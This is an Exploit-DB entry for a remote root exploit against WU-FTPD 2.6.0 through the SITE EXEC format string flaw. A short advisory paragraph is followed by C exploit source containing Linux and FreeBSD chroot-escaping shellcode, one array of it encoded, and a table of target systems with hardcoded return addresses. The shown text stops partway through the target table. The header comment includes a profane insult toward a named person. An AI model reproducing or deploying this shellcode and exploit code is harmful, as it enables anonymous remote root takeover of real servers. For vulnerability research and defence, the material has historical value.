Exploit-DB #20030
Description: WU-FTPD 2.4.2/2.5 .0/2.6.0 - Remote Format String Stack Overwrite (1)
Type: remote
Platform: unix
Date: 1999-10-15
Author: tf8

Exploit:
// source: https://www.securityfocus.com/bid/1387/info

Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

It should be noted that the SITE INDEX command is affected as well. 

/*
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 *
 *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *   by tf8
 *
 * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
 *     released (2.6.0 is the most popular version nowadays), and it
 *     should suffice to proof this vulnerability concept.
 *
 *   Site exec was never really *fixed*
 *
 *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
 *    \x90, venglin, xz, MYT and lamagra.
 *   Also greetings go to the WU-FTPD development team for including this
 *    bug in ALL their versions.
 *
 *   Fuck to wuuru (he is an idiot)
 *
 *   Account is not required, anonymous access is enough :)
 *
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
 "\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
 "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
 "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
 "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
 "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
 "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
 "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
 "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
 "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
 "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
 "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
 "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
 "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
 "\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
 "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
 "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
 "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
 "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
 "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
 "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
 "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
 "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
 "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
 "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
 "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
 "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
 "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
 "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
 "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
 "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
 "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
 "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED      4
#define MAX_MAGIC       100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets {
        int def;
        char *os_descr, *shellcode;
        int delay;
        u_long pass_addr, addr_ret_addr;
        int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};

struct targets targ[]={
        {1,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1
,2,1,2,1,4},0},
        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},
0},
        {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,
2,1,2,1,3,2,1,4},0},